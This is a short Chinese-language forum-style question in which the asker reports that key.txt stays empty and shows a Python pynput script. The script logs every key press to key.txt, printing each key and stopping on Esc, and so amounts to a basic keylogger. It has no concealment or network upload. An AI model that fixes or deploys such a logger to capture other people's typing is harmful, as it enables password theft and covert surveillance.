我运行程序,并且key.txt仍然为空
import pynput
from pynput.keyboard import Key, Listener
keys = []
def on_press(key):
global keys
keys.append(key)
print("{0} pressed".format(key))
write_file(keys)
keys = []
def write_file(keys):
with open("key.txt", "a") as f:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") >= 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()